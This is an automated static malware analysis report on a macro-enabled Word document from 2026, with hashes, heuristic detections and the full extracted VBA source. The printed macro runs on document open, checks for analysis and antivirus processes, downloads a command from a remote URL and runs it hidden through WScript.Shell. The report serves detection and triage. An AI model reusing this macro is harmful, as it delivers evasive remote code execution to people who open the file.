Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 411da681549ef38b…

MALICIOUS

Office (OOXML) / .DOCX

18.3 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-29
MD5: d2dd285735a77132dcface821e816ed0 SHA-1: e4c50f7468c2e28a6d0b04d175120203e3b77cec SHA-256: 411da681549ef38b5a6acbd446851a5f17a914cfccca3dbba05346a86a307099
210 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
                Set xY12l = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set xY12j = CreateObject("MSXML2.XMLHTTP")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set xY12b = GetObject("winmgmts:\\" & xY12d & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://example.com/command.txtIn document text (OOXML body / shared strings)
    • http://example.com/command.txt�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2005 bytes
SHA-256: 9482cbd26d3df3aee3f2f67c31ee808eb45e2b2bc91891dda3a910ce5f3b6b76
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    On Error Resume Next
    
    Dim xY12b As Object
    Dim xY12c As Object
    Dim xY12d As String
    xY12d = "."
    
    Set xY12b = GetObject("winmgmts:\\" & xY12d & "\root\cimv2")
    Set xY12c = xY12b.Get("Win32_Process")
    
    Dim xY12e As Object
    Dim xY12f As Object
    Dim xY12g As Variant
    Dim xY12h As Variant
    Dim xY12i As Boolean
    
    xY12g = Array("taskmgr.exe", "procexp.exe", "Wireshark.exe", "IDA64.exe", "IDA.exe", "OllyDbg.exe", "ImmunityDebugger.exe", "ProcessHacker.exe", "sysinternals.com", "avast", "avg", "bitdefender", "kaspersky", "malwarebytes", "norton", "sophos", "symantec", "trendmicro", "windows defender")
    xY12i = False
    
    Set xY12e = xY12b.ExecQuery("Select * from Win32_Process")
    For Each xY12f In xY12e
        For Each xY12h In xY12g
            If InStr(1, LCase(xY12f.Name), LCase(xY12h), vbTextCompare) > 0 Then
                xY12i = True
                Exit For
            End If
        Next xY12h
        If xY12i Then Exit For
    Next xY12f
    
    If Not xY12i Then
        Dim xY12j As Object
        Dim xY12k As String
        Dim xY12l As Object
        
        Set xY12j = CreateObject("MSXML2.XMLHTTP")
        xY12j.Open "GET", "http://example.com/command.txt", False
        xY12j.Send
        
        If xY12j.Status = 200 Then
            xY12k = xY12j.responseText
            Set xY12l = CreateObject("WScript.Shell")
            xY12l.Run xY12k, 0, True
        End If
    End If
    
    Set xY12b = Nothing
    Set xY12c = Nothing
    Set xY12e = Nothing
    Set xY12f = Nothing
    Set xY12j = Nothing
    Set xY12l = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: c7329ba40fa261037b8e407b981ddd13548a0ad181bb42512688f11c261f30a4